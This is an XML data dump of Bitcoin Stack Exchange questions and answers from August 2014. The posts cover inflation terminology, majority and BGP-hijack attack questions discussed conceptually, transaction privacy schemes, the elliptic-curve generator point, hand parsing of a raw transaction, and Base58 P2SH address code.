  <row Id="29901" PostTypeId="2" ParentId="19961" CreationDate="2014-08-07T14:32:05.653" Score="0" Body="&lt;p&gt;Bitcoin is an inflationary currency. Again from Wikipedia:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;In economics, inflation is a persistent increase in the &lt;strong&gt;general price level of goods and services&lt;/strong&gt; in an economy over a period of time.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inflation/Deflation is the measurement of price levels. The Bitcoin community consistently gets this wrong in that they are referring to the &lt;strong&gt;unit of measurement&lt;/strong&gt; when discussing inflation/deflation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said, Bitcoin is infinitely divisible and as the demand begins to outpace supply you will see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A) Inflation in the price value of Bitcoin, and&#xA;B) The units of Bitcoin required to buy a good decrease.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To recap, we do not consider changes in the number of units required to buy something inflation or deflation. Inflation/Deflation &lt;strong&gt;only&lt;/strong&gt; refers to &lt;strong&gt;price levels&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="18896" LastActivityDate="2014-08-07T14:32:05.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29902" PostTypeId="1" AcceptedAnswerId="29906" CreationDate="2014-08-07T15:35:02.143" Score="1" ViewCount="133" Body="&lt;p&gt;I have a scenario. Let's say I start my own Bitcoin mining on a secluded network. I leave this to mine for many years or even pass it down to future generations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To the very point that my chain is longer than the worlds current chain. Then I connect to the network. What would the result be? Would I instantly own every coin mined?&lt;/p&gt;&#xA;" OwnerUserId="18898" LastEditorUserId="5406" LastEditDate="2016-04-24T09:04:58.057" LastActivityDate="2016-04-24T09:04:58.057" Title="Would it be possible to overtake the network by running a secluded mining operation for many years?" Tags="|mining-theory|majority-attack|chain-reorganization|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29903" PostTypeId="1" CreationDate="2014-08-07T15:35:29.873" Score="8" ViewCount="267" Body="&lt;p&gt;What is the most advanced technology for anonymous transactions feature?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve heard about zerocash and coinjoin but which one of them has a technological edge? Are any of these technologies really capable of providing the anonymous transactions feature as opposed to pseudo anonymity?       &lt;/p&gt;&#xA;" OwnerUserId="18899" LastActivityDate="2016-06-07T02:18:28.390" Title="What is the most advanced technology for anonymous transactions?" Tags="|privacy|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29904" PostTypeId="1" AcceptedAnswerId="29905" CreationDate="2014-08-07T16:50:41.897" Score="12" ViewCount="14200" Body="&lt;p&gt;What exactly is the generator G in elliptical curve math?  It is typically described as a point on the curve.  Is this a tuple of values?  What properties does it have?&lt;/p&gt;&#xA;" OwnerUserId="3212" LastEditorUserId="3212" LastEditDate="2015-01-13T19:57:12.893" LastActivityDate="2021-02-21T21:04:41.920" Title="What exactly is generator G in Bitcoin's elliptical curve algorithm?" Tags="|cryptography|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29905" PostTypeId="2" ParentId="29904" CreationDate="2014-08-07T17:17:11.973" Score="10" Body="&lt;p&gt;For a curve with for instance the equation:  &lt;code&gt;y^2 = x^3 + a * x + b&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The generator point G, or a ECDSA public key, is a pair of coordinates &lt;code&gt;x&lt;/code&gt; and &lt;code&gt;y&lt;/code&gt;, for which the above equation holds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reduce the storage size for a curve point, one can also store a sign and the &lt;code&gt;x&lt;/code&gt; coordinate, this is what is known as point-compression.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can then reconstruct the &lt;code&gt;y&lt;/code&gt; by calculating  &lt;code&gt;sign * sqrt(x^3+a*x+b)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that for calculations in modular fields the square root can only be calculated efficiently when the &lt;code&gt;p != 1 (mod 8)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="13163" LastEditorUserId="3212" LastEditDate="2015-01-13T21:02:39.860" LastActivityDate="2015-01-13T21:02:39.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29906" PostTypeId="2" ParentId="29902" CreationDate="2014-08-07T18:20:18.383" Score="4" Body="&lt;p&gt;'Longer' means 'more total work spent'. You're not going to be working harder than all miners put together are you? Then the only way to get some money is to join the existing miners and work &lt;em&gt;with&lt;/em&gt; them. And by doing that you coincidentally enlarge the group of 'honest' miners, making it that much harder for someone else to consider your  'evil' plan.&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-08-07T18:20:18.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29907" PostTypeId="1" AcceptedAnswerId="29999" CreationDate="2014-08-07T21:12:44.417" Score="6" ViewCount="1969" Body="&lt;p&gt;I was wondering if Bitcoin faucets were illegal in the USA? What about a paid bitcoin faucet where you pay in other coins to get a few cents worth of BTC?&lt;/p&gt;&#xA;" OwnerUserId="3029" LastEditorUserId="5406" LastEditDate="2014-08-12T13:05:44.313" LastActivityDate="2015-03-14T22:14:13.250" Title="Are Bitcoin / Cryptocurrency free &amp; paid &quot;Faucets&quot; illegal in the USA?" Tags="|legal|regulation|faucets|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29909" PostTypeId="2" ParentId="20667" CreationDate="2014-08-07T22:14:05.130" Score="1" Body="&lt;p&gt;The one in Nimbin is definitely a Lamassu, I used it in mid-January this year (2014), and apparently I was his first customer!  You can find them on &lt;a href=&quot;http://coinmap.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;coinmap.org&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5kKGT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1920" LastActivityDate="2014-08-07T22:14:05.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29910" PostTypeId="2" ParentId="25823" CreationDate="2014-08-07T23:58:13.023" Score="0" Body="&lt;p&gt;The table of RPC commands can be found in &lt;code&gt;rpcserver.cpp&lt;/code&gt; in the static array &lt;code&gt;vRPCCommands&lt;/code&gt;.  From that you can see that the RPC command &lt;code&gt;sendtoaddress&lt;/code&gt; is implemented by a C++ function named, appropriately enough, &lt;code&gt;sendtoaddress&lt;/code&gt;.  A quick grep shows this function is defined in &lt;code&gt;rpcwallet.cpp&lt;/code&gt;, and its work is done by calling &lt;code&gt;pwalletMain-&amp;gt;SendMoney()&lt;/code&gt;.  So &lt;code&gt;pwallet-&amp;gt;SendMoney()&lt;/code&gt; seems like the right function to call.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-07T23:58:13.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29911" PostTypeId="1" AcceptedAnswerId="30757" CreationDate="2014-08-08T00:51:35.473" Score="5" ViewCount="554" Body="&lt;p&gt;I'm wondering if anyone has collected statistics on how often reorganizations of side-chains with length 1 happen in comparison with lengths of 2, 3, or more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: What is the longest chain reorganization that has ever happened?&lt;/p&gt;&#xA;" OwnerUserId="540" LastEditorUserId="5406" LastEditDate="2014-08-12T13:02:04.387" LastActivityDate="2014-10-01T13:08:11.643" Title="How frequent are side-chain reorganizations of various lengths?" Tags="|blockchain|blockchain-fork|chain-reorganization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29912" PostTypeId="1" CreationDate="2014-08-08T01:19:00.910" Score="7" ViewCount="412" Body="&lt;p&gt;I just learnt about the BGP attack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wired.com/2014/08/isp-bitcoin-theft/&quot;&gt;http://www.wired.com/2014/08/isp-bitcoin-theft/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.secureworks.com/cyber-threat-intelligence/threats/bgp-hijacking-for-cryptocurrency-profit/&quot;&gt;http://www.secureworks.com/cyber-threat-intelligence/threats/bgp-hijacking-for-cryptocurrency-profit/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attacker was able to redirect the miners to its own pool to effectively &quot;steal&quot; (defraud them of) their mining rewards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know enough about the Border Gateway Protocol, but I'm wondering if this sort of an attack could be used to split the Bitcoin network itself, essentially by hijacking the &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Client_Node_Discovery&quot;&gt;node discovery process&lt;/a&gt;. If an attacker could hold the split for a few hours (assuming enough hash power), it could successfully execute a double-spend on its target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the client use any kind of authentication with its peers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Of course, there would have to be enough economic or political motivation to carry out such an expensive attack (such as to bring down a popular exchange and create media panic).&lt;/p&gt;&#xA;" OwnerUserId="3228" LastEditorUserId="5406" LastEditDate="2022-09-23T14:39:26.443" LastActivityDate="2022-09-23T14:39:26.443" Title="Could the BGP attack be used to split the Bitcoin network?" Tags="|mining-pools|attack|peers|peer-discovery|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29914" PostTypeId="1" CreationDate="2014-08-08T07:00:36.303" Score="0" ViewCount="736" Body="&lt;p&gt;Given the transaction below, how can I -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Identify this tx involves multisig&lt;/li&gt;&#xA;&lt;li&gt;What tool/s can I then use to calculate the resulting multisig address&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The second HEX address &lt;code&gt;9d07acef34e0ad5a54f92aae65f49e2f3a24dd39&lt;/code&gt; is easy enough - &lt;code&gt;Base58Check&lt;/code&gt; converts it to &lt;code&gt;1FKJHRVHmyvjDfVbPuBW9e1tdCgt2XWtCb&lt;/code&gt;. I can follow the technical background for standard addresses at &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To calculate the multisig address I can use &lt;code&gt;bitcoind&lt;/code&gt; to decode the raw tx: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./bitcoind decoderawtransaction  &lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;vout&quot; : [&#xA;&#xA;    {&#xA;        &quot;value&quot; : 0.00100000,&#xA;        &quot;n&quot; : 0,&#xA;        &quot;scriptPubKey&quot; : {&#xA;            &quot;asm&quot; : &quot;OP_HASH160 f815b036d9bbbce5e9f2a00abd1bf3dc91e95510 OP_EQUAL&quot;,&#xA;            &quot;hex&quot; : &quot;a914f815b036d9bbbce5e9f2a00abd1bf3dc91e9551087&quot;,&#xA;            &quot;reqSigs&quot; : 1,&#xA;            &quot;type&quot; : &quot;scripthash&quot;,&#xA;            &quot;addresses&quot; : [&#xA;                &quot;3QJmV3qfvL9SuYo34YihAf3sRCW3qSinyC&quot;&#xA;            ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this took over 6 seconds to complete.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier/quicker to simply calculate a multisig address?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The raw tx:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&#xA;  &quot;value&quot;:&quot;0.00100000&quot;,&#xA;&#xA;  &quot;scriptPubKey&quot;:&quot;OP_HASH160 f815b036d9bbbce5e9f2a00abd1bf3dc91e95510 OP_EQUAL&quot;&#xA;&#xA;},&#xA;&#xA;{&#xA;&#xA;  &quot;value&quot;:&quot;0.09890000&quot;,&#xA;&#xA;  &quot;scriptPubKey&quot;:&quot;OP_DUP OP_HASH160 9d07acef34e0ad5a54f92aae65f49e2f3a24dd39 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18906" LastEditorUserId="97624" LastEditDate="2019-08-11T16:45:11.740" LastActivityDate="2019-08-11T16:45:11.740" Title="How to calculate multisig address?" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29915" PostTypeId="1" CreationDate="2014-08-08T07:23:53.267" Score="2" ViewCount="87" Body="&lt;p&gt;Lets assume Alice holds 100 shares of Twitter and wants to sell those shares on Open Transactions. Bob decides to purchase those shares. They decide the terms of the transaction, price etc and sign a smart contract. The transaction gets completed. Bob pays Alice for the shares either in dollars or bitcoins etc and alice transfers the 100 twitter shares to Bob. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does one preserve sanctity of this transaction because, Alice can repudiate this transaction at a later date. On a parallel Centralized Stock Exchange the ownership of these 100 shares will still be attributed to Alice and she will continue to get dividends etc as an owner. &lt;/p&gt;&#xA;" OwnerUserId="18887" LastActivityDate="2014-09-07T11:48:23.937" Title="While using Open Transaction as a Decentralized Exchange, how can one guarantee sanctity of the trade carried out by the parties?" Tags="|bitcoind|contracts|open-transactions|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29917" PostTypeId="2" ParentId="29914" CreationDate="2014-08-08T08:29:59.263" Score="1" Body="&lt;p&gt;[ANSWER PART #1/2]&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To calculate the multisig address I can use bitcoind to decode the raw&#xA;  tx [...] But this took over 6 seconds to complete.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;May be the daemon was too busy processing other things?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction has very simple and easy-to-parse format. You can parse it without bitcoind. It is possible to do it even manually. Look here! Lets take your raw data&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000 // version id&#xA;01       // inputs count&#xA;47759651f76ec0dbc7c248337d791afa7363636da4af0006fbafb77b9ac8214f // prev tx hash&#xA;07000000  // prev tx output index&#xA;8b        // scripSig len&#xA;48        // push signature + type&#xA;3045022100b980b3bf9b20d1dc98a6cc8c76e19c67c9c24a23fc44a3f6baf1020fb7b6b9ce022029bd5fda88553f1dac92b12c404f65cd2ed97b481244d45558129698e43595ce01&#xA;41        // push pubkey&#xA;040ab4a6619b82e1555f6c3ac9bd9b62c17433f3fb502d054dce9474ae6639777454b2509aae137c9048adb8491d28710c785b86aee766110d6aa0bcd3b07860a9&#xA;ffffffff  // sequence&#xA;02        // outputs count&#xA;a086010000000000 // value1&#xA;17        // scriptPubkey len&#xA;a914f815b036d9bbbce5e9f2a00abd1bf3dc91e9551087 // scriptPubkey&#xA;d0e8960000000000 // value2 &#xA;19        // scriptpubkey len&#xA;76a9149d07acef34e0ad5a54f92aae65f49e2f3a24dd3988ac // scriptPubkey&#xA;00000000 // lock&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;OK, I've spent more than 6 seconds, but I parsed it with hands :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;take first output script a9 14 &lt;strong&gt;f815b036d9bbbce5e9f2a00abd1bf3dc91e95510&lt;/strong&gt; 87&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is p2sh script - OP_HASH160 f815b036d9bbbce5e9f2a00abd1bf3dc91e95510 OP_EQUAL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;convert these 20 bytes to p2sh address and you will get 3QJmV3qfvL9SuYo34YihAf3sRCW3qSinyC&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;[ANSWER PART #2/2]&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A standard address is&#xA;  Base58Check(f815b036d9bbbce5e9f2a00abd1bf3dc91e95510)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define NET_BYTE  0x00&#xA;#define P2SH_BYTE 0x05  // https://github.com/bitcoin/bips/blob/master/bip-0013.mediawiki&#xA;//--------------------------------------------------------------&#xA;const QString MyKey20::toStringP2SH ( ) const&#xA;{&#xA;  quint8 tmp1 [21];                           // buffer&#xA;  tmp1 [0] = P2SH_BYTE;                       // first byte = 0x05 for p2sh addr&#xA;  memcpy ( tmp1 + 1, constData ( ), 20 );     // next 20 bytes&#xA;  const MyKey32 key ( tmp1, 21 );             // sha256 ( sha256 ( buffer ) )&#xA;  quint8 tmp2 [25];                           // another buffer&#xA;  memcpy ( tmp2, tmp1, sizeof ( tmp1 ) );     // copy 21 bytes&#xA;  memcpy ( tmp2 + 21, key.constData ( ), 4 ); // and concat with checksum&#xA;  char addr [40];                             // buffer for human-readable string&#xA;  memset ( addr, 0, sizeof ( addr ) );        // clear it and base58 encode data&#xA;  BASE58::encodeBase58 ( tmp2, sizeof ( tmp2 ), addr, sizeof ( addr ) - 1 );&#xA;  return QString ( addr );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and a method for creating &quot;classic&quot; addresses (to compare the diffs)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const QString MyKey20::toString ( ) const&#xA;{&#xA;  quint8 tmp1 [21];&#xA;  tmp1 [0] = NET_BYTE;&#xA;  memcpy ( tmp1 + 1, constData ( ), 20 );&#xA;  const MyKey32 key ( tmp1, 21 );&#xA;  quint8 tmp2 [25];&#xA;  memcpy ( tmp2, tmp1, sizeof ( tmp1 ) );&#xA;  memcpy ( tmp2 + 21, key.constData ( ), 4 );&#xA;  char addr [40];&#xA;  memset ( addr, 0, sizeof ( addr ) );&#xA;  BASE58::encodeBase58 ( tmp2, sizeof ( tmp2 ), addr, sizeof ( addr ) - 1 );&#xA;  return QString ( addr );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="5406" LastEditDate="2014-08-08T23:33:00.367" LastActivityDate="2014-08-08T23:33:00.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29918" PostTypeId="1" AcceptedAnswerId="29924" CreationDate="2014-08-08T10:26:49.690" Score="-1" ViewCount="279" Body="&lt;p&gt;Many questions say so. I do not understand anything what you say there about the &lt;code&gt;blocks&lt;/code&gt;. Just tell me how do you make it a currency of the future if most of the people (there is 7.5 billion of them on the Earth, you know?) cannot have even a single bitcoin? And, you need much more to make operations with that. Do yo permit fractional coins? What does it mean that you &quot;reward&quot; the miners? You say that you call it &quot;mining&quot; to draw the analogy with gold mining. How do the hell you reward a successful gold miner? Do you gift him additional gold?&lt;/p&gt;&#xA;" OwnerUserId="7292" LastActivityDate="2014-08-08T10:54:54.830" Title="The number of Bitcoins in existence will never exceed 21 million" Tags="|mining-reward|reward-schedule|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29919" PostTypeId="2" ParentId="29903" CreationDate="2014-08-08T10:28:41.530" Score="1" Body="&lt;p&gt;Zerocash is on the bleeding edge of cryptographic research right now. It needs a separate implementation, and provides provable anonymity, but at a higher computational cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinJoin is a simple solution, and easier to understand. While it does not provide the anonymity of Zerocash, it is already implemented (in DarkWallet) and works on the bitcoin blockchain itself. The computational cost is insignificant, as almost regular bitcoin transactions are used.&lt;/p&gt;&#xA;" OwnerUserId="1587" LastActivityDate="2014-08-08T10:28:41.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29920" PostTypeId="2" ParentId="29888" CreationDate="2014-08-08T10:37:49.280" Score="1" Body="&lt;p&gt;We're implementing bitcoin-blockchain smart contracts in &lt;a href=&quot;https://openbazaar.org/&quot; rel=&quot;nofollow&quot;&gt;OpenBazaar&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OpenBazaar smart contracts are not part of the blockchain. The blockchain stores the multisig contract only; it serves as a depository for the money to stay before a product is delivered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, smart contracts &lt;em&gt;are&lt;/em&gt; viewable at a later time, and either party can prove that the contract was in fact signed by their counter-party. Whether a public entity is able to view these contracts depends on how the contract was transferred between the two parties. Contracts are general means of exchange, so they can be transferred privately (e.g. via GPG-encrypted email), or publicly (e.g. by publishing plaintext on reddit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all cases, contracts are typically GPG triple-signed with public keys, and this signature is verifiable by anyone. If the physical identity of the person holding a GPG key corresponding to an OpenBazaar identity is known, they can be hold liable in traditional law court.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, one of the points of OpenBazaar is pseudonymous transactions between merchants and buyers whose physical identity is not known. In that case, the contract may be displayed in a traditional court, but the court will be powerless. On the contrary, we employ arbiters and mediators that are able to resolve such conflicts of interest between pseudonymous parties, and who can themselves be also pseudonymous if they so desire.&lt;/p&gt;&#xA;" OwnerUserId="1587" LastActivityDate="2014-08-08T10:37:49.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29921" PostTypeId="2" ParentId="29918" CreationDate="2014-08-08T10:42:15.573" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Just tell me how do you make it a currency of the future if most of the&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No one owned ton of gold. But it didn't prevent gold to be means of payment throughout the millennia :)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do yo permit fractional coins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. 1 bitcoin = 100,000,000 satoshi&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What does it mean that you &quot;reward&quot; the miners?&#xA;  How do the hell you reward a successful gold miner?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The gold itself is a reward. Miners can trade it for other goods.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-08-08T10:42:15.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29922" PostTypeId="2" ParentId="20118" CreationDate="2014-08-08T10:43:49.850" Score="4" Body="&lt;p&gt;The arrow-of-time in bitcoin is achieved through the blockchain. The whole point of proof-of-work is to arrange transactions in chronological order, to prevent double-spending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under this light, transactions in the same block cannot be put in strict chronological order; the time each miner saw an unverified transaction varies depending on their view of the network. The only certain order is that transactions in a future block happened after transactions in a past block (a parent block) on the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can order transactions heuristically if you want, but this is not cryptographically secure. One way to do it is to look at when they first appeared on the network, e.g. on blockchain.info or some other such service.&lt;/p&gt;&#xA;" OwnerUserId="1587" LastActivityDate="2014-08-08T10:43:49.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29923" PostTypeId="2" ParentId="29915" CreationDate="2014-08-08T10:50:02.247" Score="1" Body="&lt;p&gt;This is more of a legal than a technical question. All Bob needs to do is to have Alice provably transfer her shares. For example, Bob could demand that Alice associates her smart contract keys with her real identity through some means such as key signatures. That way, they can put their dispute before traditional court. Then the transaction is left to the judgement of a judge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In future cryptocurrency systems, to solve this problem, and to not rely on subjective law, we envision share ownership to also be verified on the blockchain. &lt;a href=&quot;http://coloredcoins.org/&quot; rel=&quot;nofollow&quot;&gt;Colored coins&lt;/a&gt; and &lt;a href=&quot;https://www.ethereum.org/&quot; rel=&quot;nofollow&quot;&gt;turing-complete blockchains&lt;/a&gt; allow shares to really be owned by their respective owner. When decentralized anonymous organizations develop, blockchain ownership of shares will also directly and self-enforcibly give the cryptographic right to voting and dividends.&lt;/p&gt;&#xA;" OwnerUserId="1587" LastActivityDate="2014-08-08T10:50:02.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29924" PostTypeId="2" ParentId="29918" CreationDate="2014-08-08T10:54:54.830" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Just tell me how do you make it a currency of the future if most of&#xA;  the people (there is 7.5 billion of them on the Earth, you know?)&#xA;  cannot have even a single bitcoin? And, you need much more to make&#xA;  operations with that. Do yo permit fractional coins?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are already fractional coins (called Satoshi) available. 1 BTC equals 100.000.000 Satoshi and therefore there are a lot more units available to split among people.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What does it mean that you &quot;reward&quot; the miners? You say that you call&#xA;  it &quot;mining&quot; to draw the analogy with gold mining. How do the hell you&#xA;  reward a successful gold miner? Do you gift him additional gold?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are two types of rewards: &lt;br&gt;&#xA;One is &lt;a href=&quot;https://en.bitcoin.it/wiki/Controlled_Currency_Supply&quot; rel=&quot;nofollow&quot;&gt;limited&lt;/a&gt;, it once started at 50 BTC per block which the miner got when he found the block. This reward is halfed every 210.000 Blocks and therefore it will be 0 one day (around 2140).&lt;br&gt;&#xA;The second reward are the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;transaction fees&lt;/a&gt;. To give a transaction a higher priority you need to add fees on it. The miner which finds the block collects all of those fees as his reward.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-08-08T10:54:54.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29925" PostTypeId="1" AcceptedAnswerId="29928" CreationDate="2014-08-08T13:29:48.437" Score="3" ViewCount="2984" Body="&lt;p&gt;I read that wallet/account is not the same as bitcoin address. The address can be used only for single transaction. How do you receive donations on your address? Are wallet addresses unique for the network so that I can generate my wallet in one service, eg. blockchain.info, and used it in different service? How do you call the address of the wallet if not &lt;code&gt;address&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="7292" LastActivityDate="2017-11-02T21:02:30.873" Title="Donation wallet address" Tags="|address|address-generation|terminology|identity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29926" PostTypeId="2" ParentId="29903" CreationDate="2014-08-08T13:50:23.513" Score="3" Body="&lt;p&gt;CoinJoin makes anonymity possible by combining random Bitcoin transactions. The principle is that when you have lots of inputs from multiple addresses and lots of outputs to multiple addresses you can no longer determine what went where and from whom. The problem is that Coinjoin is potentially vulnerable to network analysis and therefore is pseudo anonymous.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Zerocoin originally was supposed to fix the anonymity issue of Bitcoin. The way it’s designed is you take original Bitcoins, turn them into Zerocoins, and then you turn them back into new Bitcoins in another wallet. Currently the technology is being refined to be more efficient; however it’s unlikely to be implemented in Bitcoin. Besides, one of the biggest criticisms of zerocoin is the added computation time required by the process. Also if the proofs (zero-knowledge proofs) were posted to the block chain, this would significantly increase the size of the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another method for anonymous transactions is Stealth Addresses but very few people actually use them. It's not very user friendly at this point in time and is considered rather experimental.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So as you see each of these technologies has its cons and pros. The one protocol that I haven’t mentioned yet is CryptoNote. To my knowledge CryptoNote is the most promising technology for anonymous transactions. The way the untraceable payments are executed there is through something called ring signatures. Here is an explanation of how it works &lt;a href=&quot;https://cryptonote.org/inside/&quot; rel=&quot;nofollow&quot;&gt;https://cryptonote.org/inside/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bytecoin (BCN) is the first cruptocurrency based on the CryptoNote protocol. It was launched in 2012. &#xA;&lt;a href=&quot;http://bytecoin.org/&quot; rel=&quot;nofollow&quot;&gt;http://bytecoin.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18678" LastEditorUserId="18678" LastEditDate="2014-09-02T08:37:52.507" LastActivityDate="2014-09-02T08:37:52.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
